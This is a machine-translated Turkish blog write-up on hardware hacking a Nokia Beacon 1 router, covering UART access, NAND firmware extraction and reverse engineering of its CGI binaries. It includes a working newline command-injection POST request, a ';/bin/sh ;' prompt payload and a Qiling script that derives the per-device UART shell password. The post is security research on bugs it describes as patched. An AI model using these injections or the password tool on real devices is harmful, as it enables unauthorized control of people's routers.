ICYMI: Nişastasız Basın kitabım “Sıfırıncı Günden Sıfırıncı Güne” Amazon’un en çok satanlarından biri – kopyanızı şimdi %30 indirimli alın!
Donanım korsanlığı yolculuğuma devam ederken, bu turda bir yönlendiriciyle uğraşmaya karar verdim. Nokia Beacon 1, donanım hata ayıklama arayüzlerinden ürün yazılımı çıkarmaya ve son olarak hem statik hem de dinamik analize kadar tüm teknikleri kapsayan ilginç bir yolculuk olduğunu kanıtladı. (Artık yamalı) bir komut enjeksiyonu da dahil olmak üzere ilginç bulgularla ödüllendirildim.
Nokia Beacon 1, genellikle geniş bant paketlerinin bir parçası olarak verilen standart bir ağ Wi-Fi yönlendiricisidir. Çeşitleri oldukça yaygın ve iyi araştırılmış; sabit kodlanmış kimlik bilgileri ve UART kabuğuna komut enjeksiyonu gibi önceki bulgularla birlikte.
İki Nokia Beacon yönlendiricim vardı. Nokia cihaz yazılımı paketleri yayınlamadığından ve benim modelim yalnızca otomatik cihaz yazılımı güncellemelerine izin verdiğinden, herhangi bir donanım hata ayıklama arayüzüne erişmek için bir sökme işlemi gerçekleştirmeye karar verdim. Yönlendirici, açıkta kalan vidalar olmadan birbirine iyi takılmış görünüyordu, ancak neyse ki bu sefer Optik Ağ Terminalini (ONT) hackleme dersini hatırladım ve alttaki iki ek vidayı gizleyen etiketin altını kontrol ettim! Bu, ana kartı çıkarmamı sağladı.
Bundan sonra bileşenlere erişim sağlamak için iki RF kalkanını kaldırdım.
Etiketler sayesinde kullanılan ana bileşenleri anlamak zor olmadı:
- Broadcom BCM68461KRFBG P11 BGA: Telekom entegre devresi
- Broadcom BCM43217KMLG: Wi‑Fi/Ağ İletişimi entegre devresi
- Broadcom BCM4352KMLG: Wi-Fi Alıcı-Vericisi
- Nanya NT5CC128M16IP-DI: DRAM yongası
- Macronx MX30LF1G18AC-TI: NAND depolama
Beacon 1 yönlendiricinin diğer çeşitlerinin UART arayüzüne sahip olduğunu okuduktan sonra bir tane aradım. Parçalanmış fotoğraflardan da görebileceğiniz gibi, NAND depolama yongasının üzerinde üç pin uygun şekilde işaretlendi.
Çok fazla çaba harcamadan UART arayüzüne karşılık gelen TX, RX ve GND pinlerini bulup standart 115200 Hz baud hızıyla bağlanmayı başardım.
Başlangıçta bu, kısıtlı bir kabukla başladı:
user> list
enable
help
list
show version
Koşarak enable
daha sonra biraz daha az kısıtlı bir kabuğa erişebildim:
user> enable
user# list
configure
disable
exit
help
list
logout
nslookup HOST [SERVER]
ntp date
ping [-c COUNT] [-s SIZE] [-I IFACE or ip] [-W SEC] [-w SEC] {hostname or ip}
shell
show
tftp (syslog|omci|voice) HOST
traceroute [-m MAXTTL] [-p PORT] [-q NQUERIES] [-w WAIT_SEC] [-i IFACE] HOST [BYTES]
Bu heyecan vericiydi; bariz olanlardan bahsetmeye bile gerek yok, komutlardan birkaçı komut enjeksiyonu için olgunlaşmış görünüyordu. shell
emretmek!
Ne yazık ki yürütmeye çalışıyorum shell
bir parola gerektirdi ve diğer araştırmacılar tarafından keşfedilen önceki sabit kodlu parolalar da dahil olmak üzere bariz olanların hiçbiri işe yaramadı.
user# shell
Password2:
passwd invalid!
İlginç bir şekilde, şifre istemi, basit bir yöntem kullanılarak diğer varyantlarda komut enjeksiyonuna karşı savunmasızdı. ;/bin/sh ;
yük, ancak artık işe yaramadı.
Daha sonra elimden geldiğince tam olarak numaralandırmaya ve test etmeye devam ettim. Gibi bazı komutların olduğunu buldum traceroute
argüman enjeksiyonuna karşı savunmasızdı, ancak hiçbiri keyfi komutlar vermeme izin vermedi. Kısıtlı kabuğun en yaygın kabuk koparma karakterlerini kontrol etmesi ve yalnızca G/Ç yeniden yönlendirme karakterlerini bırakması yardımcı olmadı <>
bu pek bir şey yapmama izin vermedi.
user(show)# list
...
network interface (IFNAME|all)
...
user(show)# network interface br0 Link encap:Ethernet HWaddr XX:XX:XX:XX:XX:XX
inet addr:192.168.18.1 Bcast:192.168.18.255 Mask:255.255.255.0
inet6 addr: fe80::1/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:32988 errors:0 dropped:0 overruns:0 frame:0
TX packets:2968 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:7122397 (6.7 MiB) TX bytes:815671 (796.5 KiB)
Bu noktada, kısıtlı bir UART kabuğu ve manuel test ile elimden geldiğince ilerlediğimi düşündüm. Kısıtlanmış kabukta veya web arayüzünde bir güvenlik açığı keşfetmek istersem, ürün yazılımını doğrudan analiz etmem gerekiyordu.
NAND flash bellek yongasının yerini zaten bulduğum için, Hakko FV310 Isı Tabancası ile yaklaşık 380 santigrat derecede lehimini söktüm. Bu benim ilk kez bir çipin lehimini sökmemdi, dolayısıyla tekniğim oldukça kötüydü. Herhangi bir akı kullanmadım ve sadece çip bağlantıları “parlak” görünene kadar bekledim, ardından çipi karttan ayırmak için bir cımbız kullandım.
Daha sonra çipi okumak için XGecu T48 programlayıcısını TSOP48 adaptörüyle kullandım. NAND flash çipinin çevrimiçi özellik sayfalarına dayalı olarak TSOP48 paketini kullandığını biliyordum.
Çipin kendisinin bir fotoğrafını çekemedim, ancak burada analiz ettiğim başka bir TSOP48 yongasıyla birlikte T48’in bir fotoğrafı var.
Anlamam biraz zaman alan sinir bozucu şeylerden biri, adaptörün çipi üste yerleştirmemi ve ardından aşağı doğru bastırarak çipin içine tam olarak oturmasını sağlamamı gerektirmesiydi. Aksi takdirde çip, konnektörlerin üzerinde uzanacak ve boş olarak okunacaktır.
Bundan sonra, XGecu yazılımının çip modeli için tam bağlamalar sağlaması sayesinde çipten okumak kolaylaştı.
Daha sonra, bellenimi dökülen verilerden çıkarmam gerekiyordu. Ne yazık ki, bu arada binwalk
UBI Dosya Sistemi formatı için birkaç sihirli bayt tespit edebildi, ancak onu düzgün bir şekilde çıkaramadı. Bu, kısmi UBI çıkarma işlemi gerçekleştirmek veya ayıklanan bozuk UBI dosyasını düzeltmek için çeşitli yollar denediğim bir tavşan deliğine yol açtı. binwalk
.
Ancak bir süre sonra döküm dosyasında bir model fark etmeye başladım; her 2048 bayttan sonra “geçersiz” baytlar vardı. Bir hex düzenleyicide dosyada gezinirken bu oldukça açıktı.
Daha fazla araştırma yaptıktan sonra cn-sec’de benimkine çok benzer bir sorunu anlatan bir makaleyle karşılaştım! Kısacası, doğrudan bellek dökümleri doğrudan dosya sisteminin nasıl görüneceğine karşılık gelmez çünkü bunlar genellikle çip tarafından hata tespiti için kullanılan bant dışı (OOB) verileri içerir. Benim durumumda, veri sayfası şunu belirtti: The device has an on-chip buffer of 2,112 bytes for data load and access. Each 2K-Byte page has the two area, one is the main area which is 2048-bytes and the other is spare area which is 64-byte.
Temel olarak, her 2112 baytta bir oluşan yedek 64 baytı kaldırarak döküm dosyasını temizlemem gerekiyordu. Bunu hızlı bir Python betiğiyle yaptıktan sonra binwalk
(bu aslında etrafı saran bir şeydi ubireader
) sorunsuz çalıştı!
Donanım korsanlığıyla ilgili önemli ipucu #4: Aygıt yazılımını çıkarmadan önce bant dışı verileri bellek dökümünden kaldırın!
Çıkarılan aygıt yazılımıyla, doğrudan web ve UART arayüzünün arkasındaki ikili dosyalar üzerinde tersine mühendislik işlemine dalabildim. Özellikle, web ile ilgili tüm ikili dosyalar /web
Temel olarak CGI ikili dosyaları ve birkaç kabuk betiğinden oluşan dizin. CGI ikili dosyalarının her birinin bir standardı vardı. CGIMain
o yol için web işleyici mantığını içeren işlev. Ayrıca aşağıdaki gibi ortak paylaşılan işlevleri kullandılar: CGIWriteHead
, CGIGetPost
, CGIGetQuery
vb. bu, fonksiyonun ne yaptığını anlamayı kolaylaştırdı.
Oradan, aşağıdaki gibi tipik tehlikeli işlevler için basit bir arama yaptım: system
veya popen
. İlginç bir yol buldum troubleshooting_web_app.cgi
:
int __fastcall CGIMain(int a1, int a2)
{
v9 = (_BYTE *)CGIGetPost("waninterfacename");
...
if ( !sub_14390(v9) )
{
if ( v6 )
free(v6);
if ( v7 )
free(v7);
if ( v8 )
free(v8);
if ( v9 )
free(v9);
if ( v10 )
free(v10);
app_result(0);
return 0;
}
...
if ( v9 && *v9 )
{
if ( isBeaconVariant(v16) )
v23 = "rm -f /tmp/Ifacedump.txt";
else
v23 = "/usr/sbin/cs_sudo rm -f /tmp/Ifacedump.txt";
system(v23);
strcpy(command, " ");
sprintf(command, "ifconfig %s >> /tmp/Ifacedump.txt 2>&1", v9);
system(command);
...
}
Bu umut vericiydi – v9
şuradan çıkarıldı waninterfacename
POST gövde parametresi ve sonunda bir system()
Arama! Ancak geriye kalanlar sub_14390
bir tür doğrulayıcı veya temizleyici gibi görünen işlev:
int __fastcall sub_14390(char *s)
{
int i; // r4
int v3; // r1
if ( !s )
return 1;
for ( i = 0; i != 36; i += 6 )
{
v3 = byte_15A04[i];
if ( strchr(s, v3) )
{
customer_log_log(
6,
"Function %s() , it include shell cmd, maybe lead to security issue, string is %s\n",
"isSecurityString",
s);
return 0;
}
}
return 1;
}
Aslında, çeşitli kabuk kaçış karakterlerini kara listeye göre kontrol ediyor gibi görünüyordu (byte_15A04
). Ancak bu listeyi inceledikten sonra, yeni gelenleri içermediğini fark ettim. 0x0A
kabuk komutunda hala bir çıkış karakteri olarak kullanılabilen karakter!
Böylece aşağıdaki istek:
POST /troubleshooting_web_app.cgi?ping HTTP/1.1
Host: 192.168.18.1
Connection: keep-alive
Content-Length: 213
Accept-Language: en-GB,en;q=0.9
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
Cookie: ...
wan_conlist=2&ipaddress=127.0.0.1&direction=rx&status=enable&domain=&wan_port=WAN&waninterfacename=ewan_1091_4_1%0awhoami%0a&portstatus=Disconnected&lan_port=null&csrf_token=pTdrsjSczaAoECVi
Keyfi komut yürütmeyi başarabilirdi. Benzer şekilde birkaç komut enjeksiyonu daha buldum, ancak hepsi Beacon 1 donanım yazılımının en son sürümlerine yamalı görünüyor (çıkarılan donanım yazılımım daha eski bir sürümdeydi).
Bu noktada UART kabuğunun şifresini de araştırmaya başladım. Beacon 1 daha önce sabit kodlanmış bir şifre kullanıyordu ancak bunun değiştiği ve hiç kimsenin şifrenin ne olduğunu keşfedemediği ortaya çıktı.
Biraz araştırdıktan sonra, UART kabuğunun mantığının muhtemelen vtysh
ikili. Özellikle şifrenin, gen_varlen_vtyshpw
işlevinden içe aktarıldı libsec_engine.so
kütüphane.
int sub_1393C()
{
...
if ( scfg_get("G984Serial", s, 128) < 0 )
{
perror("Cannot get scfg\n");
return -1;
}
else
{
snprintf(
v4,
9u,
"%02x%02x%02x%02x",
(unsigned __int8)s[0],
(unsigned __int8)s[1],
(unsigned __int8)s[2],
(unsigned __int8)s[3]);
v0 = strlen(v4);
gen_varlen_vtyshpw(v4, v0, 12, s2, "07");
fwrite("Password:", 1u, 9u, (FILE *)stdout);
İlginçtir ki, şifre üretiminde cihazın seri numarası kullanılıyor, bu da cihaz başına benzersiz bir şifre olacağı anlamına geliyor! Bu, neden hiç kimsenin UART kabuğu için evrensel bir şifre bulamadığını açıklıyor.
Şifre oluşturma işlevi, şifreleme işlemlerinin gerçekleştirilmesi ve anahtar verilerden okuma dahil olmak üzere daha karmaşık hale gelir. /usr/etc/se_k.enc.dat
dosya. Sadece şifreyi almak istediğimde bunu statik olarak analiz etmek son derece sıkıcı olurdu; artık şifrenin her cihazın seri numarasına göre anahtarlandığını biliyordum.
Bunun yerine Qiling öykünücüsünü kullanarak şuraya atlamaya karar verdim: sub_1393C
Parolayı oluşturan işlev, seri numarasını ele geçirerek doğrudan enjekte eder. scfg_get
oluşturulan şifreyi arayın ve yazdırın:
from qiling import Qiling
from qiling.const import QL_VERBOSE, QL_INTERCEPT
import sys
from qiling.extensions import pipe
from qiling.os.const import STRING, PARAM_PTRX, PARAM_INT32
def hook_open(ql: Qiling, pathname_ptr: int, flags: int, mode: int, retval: int):
filename = ql.mem.string(pathname_ptr)
if filename == '' and retval == 3:
ql.arch.regs.pc = 0x1393C
return None
def my_scfg_get(ql: Qiling):
params = ql.os.resolve_fcall_params({'cfg_name': STRING, 'cfg_buffer': PARAM_PTRX, 'buf_size': PARAM_INT32})
# modify to your serial
my_serial = b'\x00\x00\x00\x00'
# Write the bytes to the buffer in the emulated memory
ql.mem.write(params['cfg_buffer'], my_serial)
return 1
def my_gen_varlen_vtyshpw_enter(ql: Qiling):
params = ql.os.resolve_fcall_params({'serial': STRING, 'serial_len': PARAM_INT32, 'dst_len': PARAM_INT32, 'dst': STRING })
print(params)
def my_gen_varlen_vtyshpw_exit(ql: Qiling):
params = ql.os.resolve_fcall_params({'serial': PARAM_PTRX, 'serial_len': STRING, 'dst_len': PARAM_INT32, 'dst': PARAM_PTRX })
print(params)
if __name__ == "__main__":
# set up command line argv and emulated os root path
argv = r'squashfs-root-0/usr/sbin/vtysh -c'.split()
rootfs = r'squashfs-root-0'
ql = Qiling(argv, rootfs, multithread=True, verbose=QL_VERBOSE.DEBUG)
# Hook a specific open call to begin jump to target function
ql.os.set_syscall('open', hook_open, QL_INTERCEPT.EXIT)
ql.os.set_api("scfg_get", my_scfg_get, QL_INTERCEPT.CALL)
ql.os.set_api("gen_varlen_vtyshpw", my_gen_varlen_vtyshpw_enter, QL_INTERCEPT.ENTER)
ql.os.set_api("gen_varlen_vtyshpw", my_gen_varlen_vtyshpw_exit, QL_INTERCEPT.EXIT)
ql.run()
Bu işe yaramış gibi görünse de, depolama yongasını zaten çıkarmış olduğum ve diğer cihaz farklı bir parola istemi kullanan daha da yeni bir ürün yazılımına güncellendiğinden bunu aynı cihazda test edemedim (Password2
).
Nokia Beacon 1, çeşitli donanım hackleme teknikleri için gerçekten yararlı bir eğitim alanıydı. Ne yazık ki, donanım yazılımı dökümüm daha önceki bir sürümdeydi, ancak zaten yamalanmış olmasına rağmen yayınlanmamış birkaç güvenlik açığı bulmayı başardım.
Zamanım olsaydı Beacon’un başka bir kopyasını almak isterim, böylece yamalı donanım yazılımını yeniden analiz edebilir ve parola oluşturmayı test edebilirim.